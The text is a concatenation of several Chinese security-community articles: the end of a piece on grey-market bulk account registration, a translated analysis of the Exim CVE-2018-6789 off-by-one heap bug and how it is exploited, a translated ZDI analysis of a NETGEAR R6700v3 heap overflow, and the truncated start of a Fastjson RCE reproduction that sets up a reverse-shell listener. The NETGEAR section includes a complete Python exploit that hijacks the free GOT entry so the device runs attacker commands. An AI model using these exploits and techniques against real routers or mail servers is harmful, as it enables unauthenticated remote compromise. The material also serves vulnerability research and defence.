从测试结论来看，滑块验证的智能性并没有达到想象的高度，其存在的更大意义在于行为数据生成算法的破解难度。
## IP资源
IP地址作为互联网的紧缺资源，一直是厂商最重要的风控方案之一，如何获得大量IP出口也是灰产业者最先需要解决的问题。
从搜集到的自动化工具来看，普遍提供了拨号重连功能，做到隔几秒重拨。
不要以为这是提供给家用ADSL使用的，这个看似简单的功能，其实背后还有一整条的产业链存在，在某宝上搜索相关关键词，可以发现大量专业用于获取不同地区IP的拨号服务器存在。猎人君后续也会给出此链条的调查报告，欢迎关注公众号：ThreatHunter。
## 手机号资源
由于实名制的存在，手机号原本是属于稀缺资源，但由于管理和利益的问题，每年依有数千万未实名的手机号流到专门提供短信接收服务的平台上，用于灰色产业注册各种小号。此处可以参考猎人君的另一篇深度调查报告《灰产大数据：手机黑卡调查》。
## 攻击效率
从自动注册工具的使用来看，单线程平均20-40秒能完成一次注册，考虑到后台可能存在风控策略，以5线程为例，保守估计一台机器一天可以产出1万小号。然后这些小号将流通到电商平台的各个灰产环节，比如薅羊毛、刷单、差评师、骗运费险等各种产业。
## 写在最后
在互联网灰产领域，账号注册已然成为一件专业的事情，许多工作室依赖注册和贩卖各种账号生存，比如邮箱号、微信号、淘宝号、贴吧号、AppleID
等等，这些基础资源在灰产市场具有广泛的销量。长尾效应曾经用来描述亚马逊等大公司的成功事迹，成为互联网公司颠覆实体公司的一大法宝。对应在安全领域，灰色产业蚁多咬死象又何尝不是此效应的真实案例。
千里之堤毁于蚁穴，小号虽小，却是互联网安全风控的大战场。 | 社区文章 |
# 前言
* * *
原文：<https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/>
CVE2018-6789是一个off-by-one的漏洞，文章对该漏洞的利用流程进行了详细的表述。
译者在文章开始前总结一些简单的预备知识。
## off-by-one漏洞
* * *
off-by-one意为一个字节溢出。
### 栈：
这里从网上引用一个demo便于理解
#include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
bar(arg); /* [1] */
}
void bar(char* arg) {
char buf[256];
strcpy(buf, arg); /* [2] */
}
int main(int argc, char *argv[]) {
if(strlen(argv[1])>256) { /* [3] */
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -1;
}
foo(argv[1]); /* [4] */
return 0;
}
结合代码和图片来看，从代码可以看到当用户输入256字节的数据，foo函数调用strcpy(buf, arg);
执行时,foo的EBP的LSB会被覆盖。从图中可以看出当EBP被一个NULL字节所覆盖时，ebp从0xbffff2d8变为0xbffff200，由于用户输入被复制到该目标缓冲区，攻击者可以控制这个堆栈位置（0xbffff200），因此可以实现任意代码执行。
### 堆：
由于ptmalloc的堆块验证机制的不完善，使得即使只有一个字节的溢出也使堆的off-by-one漏洞变得可利用。简单举个例子。
假设有这样3个块：
之后A发生了off-by-one于是堆结构变成了这个样子
图中的红色区域我们可以改掉Bblock的大小，使其增加到C，之后我们free掉B,再分配B+C大小的块，这样可以间接实现对CBlock的读写。
## ACL访问控制列表
ACL使Access Control
List的缩写，主要的目的是在提供传统的owner,group,others的read,write,execute权限之外的细部权限设定。ACL可以针对单一的使用者，单一的档案或目录来进行r,w,x的权限规范，对于需要特殊权限的使用状况非常有帮助。
传统的Linux下，上面的权限分配正常但是当下面的情况出现时，就出现了问题:
上图情况出现时，就出现了问题，而这也是ACL所解决的。
# OverView
* * *
我们在2018年2月5日报告了Exim的base64解码函数中的溢出漏洞，标识为CVE-2018-6789。
自从exim第一次发布以来就存在这个错误，因此所有版本都受到影响。
根据我们的研究，可以利用它来获得预授权远程代码执行，并且至少有400,000台服务器处于风险之中。 补丁版本4.90.1已经发布，我们建议立即升级exim。
# Affected
* * *
所有低于4.90.1版本的Exim
## One byte overflow in base64 decoding
Vulnerability Analysis
漏洞的成因在b64decode函数中解码缓冲区长度的计算错误:
base64.c:153b64decode
b64decode(const uschar* code, uschar **ptr)
{
Int x, y;
Uschar* result = store_get(3*(Ustrlen(code)/4)+1);
*ptr = result;
//perform decoding
}
如上所示，exim分配一个3 *（len / 4）+1字节的缓冲区来存储解码后的base64数据。 但是，当输入不是有效的base64字符串且长度为4n +
3时，exim分配3n + 1，但在解码时会占用3n + 2个字节。 这会导致单字节堆溢出（aka逐个）。
一般来说，这个错误是无害的，因为被覆盖的通常是未使用的内存。 但是，当字符串适合某些特定长度时，该字节会覆盖一些关键数据。
值得注意的是，由于这个字节是可控的，使得对其利用更加可行。另外，Base64解码是一个基本功能，因此这个错误可以很容易地触发，导致远程代码执行。
# Exploitation
* * *
为了评估这个错误的严重程度，我们开发了一个针对exim的SMTP守护进程的攻击。 以下段落描述了用于实现pre-auth远程代码执行的开发机制。
为了利用这一个字节的溢出，我们有必要诱骗内存管理机制。此外在阅读本节之前，强烈建议您具有堆漏洞利用的基本知识。
我们的EXP需要一下几样东西：
Debain(stretch) and Ubuntu(zesty)
SMTP daemon of Exim4 package installed with apt-get(4.89/4.88)
Config enabled(uncommented in default config)CRAM-MD5 authenticator(any other
authenticator using base64 alse works)
Basic SMTP sommands(EHLO,MAIL FROM/RCPT TO)and AUTH
## Memory allocation
首先，我们回顾一下源代码并搜索有用的内存分配。 正如我们在前一篇文章中提到的，exim使用自定义函数进行动态分配：
extern BOOL store_extend_3(void *, int, int, const char *, int); /* The */
extern void store_free_3(void *, const char *, int); /* value of the */
extern void *store_get_3(int, const char *, int); /* 2nd arg is */
extern void *store_get_perm_3(int, const char *, int); /* __FILE__ in */
extern void *store_malloc_3(int, const char *, int); /* every call, */
extern void store_release_3(void *, const char *, int); /* so give its */
extern void store_reset_3(void *, const char *, int); /* correct type */
函数store_free（）和store_malloc（）直接调用glibc的malloc（）和free（）。
Glibc需要一个稍大的（0x10字节）块，并将其元数据存储在每个分配的第一个0x10字节（x86-64）中，然后返回数据的位置。
下面的插图描述了块的结构：
元数据包括前一个块的大小（正好在内存中的那个），当前块的大小和一些标志。 大小的前三位用于存储标志。
在这个例子中，0x81的大小意味着当前块是0x80字节，并且前一个块正在使用中。
在exim中,大部分被释放的块被放入一个双向链表中，称为unsorted bin。
Glibc根据标志位维护它为了避免碎片化，Glibc会将相邻的已被释放块合并到一个更大的块。
对于每个分配请求，glibc都会以FIFO（先进先出）顺序检查这些块，并重新使用这些块。
针对一些性能问题，exim使用store_get（），store_release（），store_extend（）和store_reset（）维护自己的链表结构。
storeblocks的主要特点是每块至少有0x2000字节，这使我们的漏洞利用受到限制。 请注意，storeblock也是数据块。
因此，如果我们查看内存，其内存结构看起来就像这个样子：
这里我们列举出用来部署堆数据的函数：
1. EHLO主机名
对于每个EHLO（或HELO）命令，exim将主机名的指针存储在sender_host_name中。
store_free（）旧名称
store_malloc（）新名称
smtp_in.c: 1833 check_helo
/* Discard any previous helo name */
if (sender_helo_name != NULL)
{
store_free(sender_helo_name);
sender_helo_name = NULL;
}
...
if (yield) sender_helo_name = string_copy_malloc(start);
return yield;
2. 无法识别的命令
对于每个无法识别的带有不可打印字符的命令，exim都会分配一个缓冲区来将其转换为可打印的
store_get（）存储错误消息
smtp_in.c: 5725 smtp_setup_msg
done = synprot_error(L_smtp_syntax_error, 500, NULL,
US"unrecognized command");
3. AUTH
在大多数身份验证过程中，exim使用base64编码与客户端进行通信。 编码和解码字符串存储在由store_get（）分配的缓冲区中。
store_get（）用于字符串
可以包含不可打印的字符，NULL字节
不一定是null终止
4. 重置EHLO / HELO，MAIL，RCPT
每当有命令正确完成时，exim就会调用smtp_reset（）。
此函数调用store_reset（）将块链重置为重置点，这意味着在last命令后所有通过store_get（）分配的storeblocks都会被释放。
store_reset（）重置点（在函数的开始处设置）
在释放块的时候添加
smtp_in.c: 3771 smtp_setup_msg
int
smtp_setup_msg(void)
{
int done = 0;
BOOL toomany = FALSE;
BOOL discarded = FALSE;
BOOL last_was_rcpt = FALSE;
void *reset_point = store_get(0);
DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");
/* Reset for start of new message. We allow one RSET not to be counted as a
nonmail command, for those MTAs that insist on sending it between every
message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of
TLS between messages (an Exim client may do this if it has messages queued up
for the host). Note: we do NOT reset AUTH at this point. */
smtp_reset(reset_point);
# Exploit steps
* * *
为了充分利用off-by-one，解码后的base64数据下的块应该易于释放和控制。
经过多次尝试，我们发现sender_host_name是一个不错的选择。
我们安排堆布局，为base64数据留下一个空闲的块，高于sender_host_name。我们在sender_host_name之前留下一个空闲快给base64数据
1. Put a huge chunk into unsorted bin
首先，我们发送一个包含巨大主机名的EHLO消息，以使其在堆中分配和释放,留下一个0x6060长度的unsorted bin。
2. Cut the first storeblock
然后我们发送一个无法识别的字符串来触发store_get（）并在释放的块内分配storeblock。
3. Cut the second storeblock and release the first one
我们再次发送EHLO消息以获得第二个存储区。 由于EHLO完成后调用了smtp_reset，所以第一个块被顺序释放。
堆布局准备好后，我们可以使用off-by-one覆盖原始块大小。 我们将0x2021修改为0x20f1，这稍微扩展了块。
4. Send base64 data and trigger off-by-one
要触发off-by-one，我们启动一个AUTH命令来发送base64数据。 溢出字节正好覆盖下一个块的第一个字节并扩展下一个块。
5. Forge a reasonable chunk size
由于块已扩展，下一块块的开始被更改为原始块的内部。 因此，我们需要让它看起来像一个正常的块来通过glibc的理智检查。
我们在这里发送另一个base64字符串，因为它需要空字节和不可打印字符来伪造块大小。
6. Release the extended chunk
要控制扩展块的内容，我们需要首先释放块，因为我们无法直接编辑块。 也就是说，我们应该发送一个新的EHLO消息来释放旧的主机名。
但是，正常的EHLO消息在成功之后会调用smtp_reset，这可能会导致程序中止或崩溃。 为了避免这种情况，我们发送一个无效的主机名称，如a+。
7. Overwrite the next pointer of overlapped storeblock
块释放后后，我们可以使用AUTH检索它并覆盖部分重叠的存储块。 这里我们使用一种称为partial write的技巧。
有了这个，我们可以在不破坏ASLR（地址空间布局随机化）的情况下修改指针。
我们部分地改变了包含ACL（访问控制列表）字符串的storeblock的下一个指针。 ACL字符串是由一组全局指针指向的，例如：
uschar *acl_smtp_auth;
uschar *acl_smtp_data;
uschar *acl_smtp_etrn;
uschar *acl_smtp_expn;
uschar *acl_smtp_helo;
uschar *acl_smtp_mail;
uschar *acl_smtp_quit;
uschar *acl_smtp_rcpt
这些指针在exim进程开始时根据配置进行初始化设置。 例如，如果configure中有一行acl_smtp_mail =
acl_check_mail，则指针acl_smtp_mail指向字符串acl_check_mail。 无论何时使用MAIL
FROM，exim都会先扩展acl_check_mail来执行ACL检查。 在扩展时，如果遇到$ {run
{cmd}}，exim会尝试执行命令，所以只要我们控制ACL字符串，就可以实现代码执行。
另外，我们不需要直接劫持程序控制流程，因此我们可以轻松地绕过诸如PIE（位置独立可执行文件），NX等保护机制。
8. Reset storeblocks and retrieve the ACL storeblock
现在，ACL存储块位于链接列表链中。 一旦smtp_reset（）被触发，它将被释放，然后我们可以通过分配多个块来再次检索它。
9. Overwrite ACL strings and trigger ACL check
最后，我们覆盖包含ACL字符串的整个块。 现在我们发送诸如EHLO，MAIL，RCPT等命令来触发ACL检查。
一旦我们触及配置中定义的acl，我们就可以实现远程代码执行。
参考链接：
<https://googleprojectzero.blogspot.com/>
<https://sploitfun.wordpress.com/2015/06/09/off-by-one-vulnerability-heap-based/>
<https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/>
<https://bbs.pediy.com/thread-217390.htm>
<https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks>
<http://linux.vbird.org/linux_basic/0410accountmanager.php#acl_talk_what>
<https://sploitfun.wordpress.com/2015/06/07/off-by-one-vulnerability-stack-based-2/> | 社区文章 |
# NETGEAR R6700v3堆溢出漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 thezdi，文章来源：thezdi.com
原文地址：<https://www.thezdi.com/blog/2020/6/24/zdi-20-709-heap-overflow-in-the-netgear-nighthawk-r6700-router>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
Pwn2Own Tokyo 2019引入了一个新的类别：无线路由器。在这次比赛中，有款目标路由器为NETGEAR Nighthawk
R6700v3。我并没有参加这次比赛，但还是想分析一下该设备，看能不能找出一些漏洞。除了这次比赛中找到的漏洞，我还发现路由器中存在另一个堆溢出漏洞，恶意第三方可以利用该漏洞，从本地网络控制该设备。我将在本文中详细分析该漏洞，并且会提供一个PoC，适用于固件版本为V1.0.4.84_10.0.58的所有路由器。
该漏洞位于`httpd`服务中（`/usr/bin/httpd`），未经身份认证的攻击者如果连入本地网络，就可以向`httpd`
web服务发送精心构造的HTTP请求，最终在目标系统上执行远程代码。成功利用该漏洞后，攻击者可能会全面入侵存在漏洞的系统。漏洞根源在于路由器的文件上传函数，该函数在处理导入的配置文件时存在一个堆溢出漏洞。
## 0x01 背景
我想先简要介绍一下路由器对HTTP请求的处理流程。这款路由器的web服务并没有直接在80端口上监听，但有个代理进程会在该端口上监听：`NGINX`代理。我还没有深入分析该进程，因此不确定这是否是常用的`NGINX`
web服务器版本。
当HTTP请求到达`httpd`服务时，主要处理该请求的函数为`sub_159E8()`。该函数执行流程如下图所示：
图1. `sub_159E8()`函数执行流程
函数首先会从socket中读取HTTP请求，然后检查该HTTP请求是否为文件上传请求。如果不满足该条件，则会调用`sub_10DC4`函数，该函数负责解析HTTP请求，执行身份认证、请求调度等逻辑。如果为文件上传请求，则会执行上图中的`X`部分代码。从上图可知，`sub_10DC4`为处理请求的主函数，`X`部分代码与该函数独立，因此比较吸引人，这次我们发现的漏洞的确位于该区域。
## 0x02 漏洞分析
如上图所示，该漏洞可以通过HTTP上传操作来触发，上传请求由`/backup.cgi`负责处理。在测试该功能的过程中，我发现了影响该端点的两个不同的问题。第一个问题为缺少身份认证：攻击者无需通过身份认证就能上传新的配置文件。不过由于应用新的配置之前路由器会进行身份认证，因此我们无法替换目标凭据、或者修改目标系统的设置。第二个问题为典型的堆溢出漏洞，位于文件上传功能中。
存在漏洞的函数会将上传的文件内容拷贝到一个堆缓冲区中，而该缓冲区大小由攻击者所控制，相应的伪代码片段如下图所示：
图2. 存在漏洞的函数伪代码片段
为了控制堆缓冲区大小，攻击者可以使用`Content-Length`头部字段，但这个过程并没有那么简单。我们来分析下具体原因。
导入配置文件的HTTP请求如下所示：
图3. 导入配置文件的HTTP请求
HTTP请求必须满足几个条件。首先，URI必须包含以下某个字符串：`backup.cgi`、`genierestore.cgi`或者`upgrade_check.cgi`。此外，请求必须为`multipart/form-data`请求，头部中必须包含`name="mtenRestoreCfg`字段。最后，文件名不能为空字符串。然而，根据前面介绍的web处理架构，HTTP请求在传递给`httpd`服务前必须先交给NGINX代理处理。NGINX代理的`policy_default.conf`配置文件如下：
图4. NGINX配置文件
因此，为了绕过NGINX代理，我选择如下URI：
图5. 绕过代理的URI
文件上传的处理逻辑位于`sub_159E8`函数中，其中程序会从头部中提取`Content-Length`值：
图6. 提取`Content-Length`
上述代码片段首先会使用`strstr`函数来定位整个HTTP请求中的`Content-Length`字段，然后提取该字段值，在一个循环中通过简单的逻辑实现`atoi`函数，将其从字符串转换为整数：
图7. 将字符串转换为整数的循环
然而，由于NGINX代理的存在，我们无法直接将任意值传递给`Content-Length`头。除了过滤请求外，该代理还会rewrite请求。代理会确认`Content-Length`值等于POST数据的大小，然后将`Content-Length`头放在请求的第一个头部中。因此，我们无法在另一个头部中伪造`Content-Length`。然而提取`Content-Length`头的代码逻辑存在缺陷，相关代码会在整个HTTP请求中执行strstr函数，而不是只处理请求头。因此我们有可能在URI中设置`Content-Length`头，由`httpd`服务来解析，如下所示：
图8. 伪造`Content-Length`的URI
由于请求地址位于HTTP头之前，带有上述URI，因此传递给图7中代码的字符串为`111 HTTP/1.1`。通过这种方法，我们能够完全控制`Content-Length`的值，触发整数溢出漏洞。
此外，图7中对`atoi`的实现比较有趣的一点是，代码在碰到非数字字符时并没有停止，而是会继续执行，直到碰到回车换行符（`\r\n`）才停止，期间会将找到的所有字符都解析为十进制数字。为了获取每个字符对应的数字值，代码会将字符编码减去数字0对应的ASCII字符码。这种方法适用于数字0到数字9之间的值，但当解析非数字字符时将得到错误结果。比如，当解析空格符时（ASCII
`0x20`），代码计算出的值为`0x20 - 0x30`（即`0xfffffff0`）。由于计算错误，上述示例中`111
HTTP/1.1`字符串所得的最终值为`0x896ebfe9`。为了控制该值，我使用了暴力程序来替换各种`Content-Length`值，模拟`atoi`循环，直到寻找到合适的值为止。最终我找到的字符串为`4156559
HTTP/1.1`，对应的值为`ffffffe9`，这是大小合适的负数值。
继续研究代码路径：
图9. 整数溢出漏洞
首先，程序会通过无符号方式将`Content-Length`值与`0x20017`进行比较。如果该值大于`0x20017`，就会执行`0x17370`地址处的汇编代码。然后，由于该请求为导入配置请求，因此存放在`dword_19A08`与`dword_19A08`中的值将等于`0`。接下来，程序会检查存放在`dword_1A870C`中的指针值。如果该值不等于0，将会释放该指针所指向的内存。随后程序会调用`malloc`，传入`Content-Length`的值+`0x258`来分配内存，用来存放文件内容，结果存放在`dword_1A870C`中。由于我们可以完全控制`Content-Length`的值，因此可以将`Content-Length`值设置为负数，触发整数溢出漏洞。
程序接下来会将整个文件内容拷贝到前面分配的缓冲区中，导致堆溢出漏洞。
图10. 堆缓冲区溢出漏洞
## 0x03 需要考虑的因素
在构造利用代码时，我们需要考虑如下几个因素：
1、我们拿到了一个堆溢出漏洞，允许我们将任意数据写入堆内存中（包括`null`字节）。
2、由于ASLR机制不完备，堆内存位于固定地址。
3、系统用到了`uClibc`。这是`glibc`的最小`libc`版本，因此包含简单实现的`malloc`及`free`函数。
4、在调用`memcpy()`并实现堆溢出后，设备会调用`sub_21A58()`来返回错误页面。在`sub_21A58()`中，代码会调用`fopen()`来打开文件。`fopen()`中会两次调用`malloc()`，大小分别为`0x60`以及`0x1000`。分配的内存随后都会被释放。简而言之，分配及释放内存的顺序如下：
图11. 内存分配操作顺序
此外，我们可以发送Import String Table请求，在`sub_95AF4()`中调用`malloc`以及`free`。该函数用来计算String
Table Upload文件的校验和，对应的伪代码如下：
图12. `sub_95AF4()`中的伪代码
导入字符串表的HTTP请求如下所示：
图13. 导入字符串表的HTTP请求
## 0x04 漏洞利用技术
我们可以通过堆缓冲区溢出来发起fastbin dup攻击。“Fastbin
dup”攻击可以破坏堆状态，使对`malloc`的后续调用会返回我们选定的地址。当`malloc`返回指定地址后，我们可以将任意数据写入该地址（从而实现write-what-where原语）。我们可以覆盖某个GOT条目，实现远程代码执行。更具体一点，我们可以覆盖`free()`对应的GOT条目，将其重定向到`system()`，这样shell就会执行包含攻击者输入数据的缓冲区。
然而在这个场景中，我们很难发起fastbin
dup攻击。前面提到过，每个请求都会调用`malloc(0x1000)`，这将导致设备调用`__malloc_consolidate()`函数，破坏fastbin。
前面提到过，系统使用了`uClibc`库，因此`free()`与`malloc()`函数的实现与`glibc`存在较大不同。我们来看一下`free()`函数：
图14. `uClibc`中`free()`的实现
在上图22行中，可以看到访问`fastbins`数组时缺少边界检查，这将导致`fastbins`出现越界写入。
检查`malloc_state`结构以及`fastbin_index`宏，这两者定义都位于`malloc.h`中：
图15. `malloc_state`结构及`fastbin_index`宏的定义
`max_fast`变量紧靠在`fastbins`数组之前。因此，如果我们将chunk的大小设置为8，那么当这个chunk被释放时，`fastbin_index(8)`将返回`-1`值，`max_fast`将被较大地址（一个指针）所覆盖。当heap正常运行时，chunk的值大小永远不会等于8，这是因为chunk中的metadata将占据8个字节，因此如果chunk大小为8，则代表用户数据大小为0字节。
当`max_fast`被改成较大的值后，在`malloc(0x1000)`调用期间`__malloc_consolidate()`不会再被调用，这样我们就能进行fastbin
dup攻击。
总结一下，我们的利用过程如下：
1、发起请求，触发堆溢出漏洞，覆盖chunk的`PREV_INUSE`标志，使其错误地表示前一个chunk已被释放。
2、由于设置了错误的`PREV_INUSE`标志，我们可以让`malloc()`返回与已有chunk有重叠的chunk。这样我们可以编辑已有chunk中metadata的大小字段，将其设置为8这个无效值。
3、当这个chunk被释放并放在fastbin上时，`malloc_stats->max_fast`会被较大的一个值覆盖。
4、当`malloc_stats->max_fast`被修改后，在调用`malloc(0x1000)`时，系统不再调用`__malloc_consolidate()`。这样我们就能发起fastbin攻击。
5、再次触发堆溢出漏洞，使用选定的目标地址来覆盖空闲fastbin chunk的覆盖`fd`（fowrard）指针。
6、后续调用`malloc()`时将返回我们设置的目标地址。我们可以通过这种方式将选定的数据写入目标地址。
7、使用这种“write-what-where”原语来写入`free_got_addr`地址，这里我们写入的数据为`system_plt_addr`。
8、最后，当释放包含攻击者提供的字符串的缓冲区时，设备将调用`system()`，而不是`free()`，从而实现远程代码执行。
堆内存布局及详细的利用过程可参考如下PoC文件：
#! /usr/bin/python2
# coding: utf-8
from pwn import *
import copy
import sys
def post_request(path, headers, files):
r = remote(rhost, rport)
request = 'POST %s HTTP/1.1' % path
request += '\r\n'
request += '\r\n'.join(headers)
request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
post_data += files['filecontent']
request += 'Content-Length: %i\r\n\r\n' % len(post_data)
request += post_data
r.send(request)
sleep(0.5)
r.close()
def make_filename(chunk_size):
return 'a' * (0x1d7 - chunk_size)
def exploit():
path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'
headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
print '[+] malloc 0x28 chunk'
# 00:0000│ 0x103f000 ◂— 0x0
# 01:0004│ 0x103f004 ◂— 0x29
# 02:0008│ r0 0x103f008 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
post_request(path, headers, f)
print '[+] malloc 0x18 chunk'
# 00:0000│ 0x103f000 ◂— 0x0
# 01:0004│ 0x103f004 ◂— 0x29 /* ')' */
# 02:0008│ 0x103f008
# 03:000c│ 0x103f00c
# ... ↓
# 0a:0028│ 0x103f028
# 0b:002c│ 0x103f02c ◂— 0x19
# 0c:0030│ r0 0x103f030 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x10)
post_request(path, headers, f)
print '[+] malloc 0x28 chunk and overwrite 0x18 chunk header to make overlap chunk'
# 00:0000│ 0x103eb50 ◂— 0x0
# 01:0004│ 0x103eb54 ◂— 0x21 <-- recheck
# ... ↓
# 12d:04b4│ 0x103f004 ◂— 0x29 /* ')' */
# 12e:04b8│ 0x103f008 ◂— 0x61616161 ('aaaa') <-- 0x28 chunk
# ... ↓
# 136:04d8│ 0x103f028 ◂— 0x4d8
# 137:04dc│ 0x103f02c ◂— 0x18
# 138:04e0│ 0x103f030 ◂— 0x0
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
f['filecontent'] = 'a' * 0x20 + p32(0x4d8) + p32(0x18)
post_request(path, headers, f)
print '[+] malloc 0x4b8 chunk and overwrite size of 0x28 chunk -> 0x9. Then, when __malloc_consolidate() function is called, __malloc_state->max_fast will be overwritten to a large value.'
# 00:0000│ 0x103eb50 ◂— 0x0
# 01:0004│ 0x103eb54 ◂— 0x4f1
# ... ↓
# 12d:04b4│ 0x103f004 ◂— 0x9
# 12e:04b8│ 0x103f008
# ... ↓
# 136:04d8│ 0x103f028 ◂— 0x4d8
# 137:04dc│ 0x103f02c ◂— 0x18
# 138:04e0│ 0x103f030 ◂— 0x0
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x4b0).ljust(0x10) + 'a' * 0x4ac + p32(0x9)
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] malloc 0x18 chunk'
# 00:0000│ 0x10417a8 ◂— 0xdfc3a88e
# 01:0004│ 0x10417ac ◂— 0x19
# 02:0008│ r0 0x10417b0 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x10)
post_request(path, headers, f)
print '[+] malloc 0x38 chunk'
# 00:0000│ 0x103e768 ◂— 0x4
# 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
# 02:0008│ r0 0x103e770 <-- return here
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x30).ljust(0x10) + 'a'
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] malloc 0x48 chunk'
# 00:0000│ 0x103e768 ◂— 0x4
# 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
# 02:0008│ r0 0x103e770
# ... ↓
# 0e:0038│ 0x103e7a0
# 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */
# 10:0040│ r0 0x103e7a8 <-- return here
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x40).ljust(0x10) + 'a'
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] malloc 0x38 chunk and overwrite fd pointer of 0x48 chunk'
# 00:0000│ 0x103e768 ◂— 0x4 <-- 0x38 chunk
# 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
# 02:0008│ 0x103e770 ◂— 0x0
# 03:000c│ 0x103e774 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaI'
# ... ↓
# 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */ <-- 0x48 chunk
# 10:0040│ 0x103e7a8 —▸ 0xf555c ([email protected])
free_got_addr = 0xF559C
f = copy.deepcopy(files)
f['filename'] = make_filename(0x30)
f['filecontent'] = 'a' * 0x34 + p32(0x49) + p32(free_got_addr - 0x40)
post_request(path, headers, f)
print '[+] malloc 0x48 chunk'
# 00:0000│ 0x103e7a0 ◂— 'aaaaI'
# 01:0004│ 0x103e7a4 ◂— 0x49 /* 'I' */
# 02:0008│ r0 0x103e7a8 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x40)
post_request(path, headers, f)
print '[+] malloc 0x48 chunk. And overwrite free_got_addr'
# 00:0000│ 0xf555c ([email protected]) —▸ 0x403b6894 (semop) ◂— push {r3, r4, r7, lr}
# 01:0004│ 0xf5560 ([email protected]) —▸ 0xd998 ◂— str lr, [sp, #-4]!
# 02:0008│ r0 0xf5564 ([email protected]) —▸ 0x403c593c (strstr) ◂— push {r4, lr} <-- return here
system_addr = 0xDBF8
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x40).ljust(0x10) + command.ljust(0x38, '') + p32(system_addr)
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] Done'
if __name__ == '__main__':
context.log_level = 'error'
if (len(sys.argv) < 4):
print 'Usage: %s <rhost> <rport> <command>' % sys.argv[0]
exit()
rhost = sys.argv[1]
rport = sys.argv[2]
command = sys.argv[3]
exploit()
## 0x05 总结
在本文发表时，厂商[表示](https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders)：“NETGEAR计划发布固件更新，如果受影响的产品仍在安全支持生命周期中，漏洞将会被修复”。厂商的确发布了beta版补丁，可以访问[此处](https://kb.netgear.com/000061993/R6700v3-Firmware-Version-1-0-4-94-Hot-Fix)下载。我们还未测试该补丁是否能正确解决该漏洞的根源问题。ZDI在6月15日发布了安全公告，表示“考虑到该漏洞的特性，唯一可靠的缓解策略是限定目标服务的访问权限，只有合法的客户端和服务器才能与该设备通信。我们可以通过多种方式来实现该目标，比如防火墙规则、白名单等”。在官方推出补丁之前，这是降低风险的最佳建议。 | 社区文章 |
# Fastjson-RCE漏洞复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Fastjson提供autotype功能，允许用户在反序列化数据中通过 [@type](https://github.com/type "@type")
指定反序列化的类型，其次Fastjson自定义的反序列化会调用指定类中的setter方法和部分getter方法。
当组件开启autotype并且反序列化不可信的数据时，攻击者构造的数据（恶意代码）会进入特定类的setter或getter方法中，可能会被恶意利用。
影响版本
Fastjson1.2.47以及之前的版本
## 复现
### 1.1 环境准备
**攻击机1**
用于接受反弹shell
系统：Win10 x64
安装nc，burpsuite
win10中需安装nc，用于监听反弹的shell。
在win10下，在nc官网([https://eternallybored.org/misc/netcat/)下载会报毒被拦截。](https://eternallybored.org/misc/netcat/\)%E4%B8%8B%E8%BD%BD%E4%BC%9A%E6%8A%A5%E6%AF%92%E8%A2%AB%E6%8B%A6%E6%88%AA%E3%80%82)
可以使用nmap中重置的ncat([https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe)，与nc使用无区别。](https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe\)%EF%BC%8C%E4%B8%8Enc%E4%BD%BF%E7%94%A8%E6%97%A0%E5%8C%BA%E5%88%AB%E3%80%82)
下载后进入，ncat所在目录，执行 **ncat** ，出现如下输出则安装成功
**攻击机2**
提供一些必要服务
系统：Ubuntu
需安装：marshlsec ( <https://github.com/mbechler/marshalsec>
)（用于启动RMI服务）、python环境（用于启动SimpleHTTPServer服务）、openjdk
marshlsec下载后，需要使用mvn打包，无mvn命令需要安装Maven
marshlsec下载后，进入文件目录执行 **sudo mvn clean package -DskipTests**
，完成后会在目录的target目录中发现两个jar包
**受害机**
系统：Ubuntu （与上述提供RMI和Web服务的机器可以是一台或不同）
需安装：docker、docker-composer、vulhub
### 1.2 示意图
### 1.3 复现流程
在 攻击机1 开启监听
在受害机上启动环境，进入vulhub中的/fastjson/1.2.47-rce/，使用如下命令启动服务：
`# docker-compose up -d`
在 攻击机1 上访问该服务，如下则为成功
构造恶意代码文件vim Exploit.java，内容如下
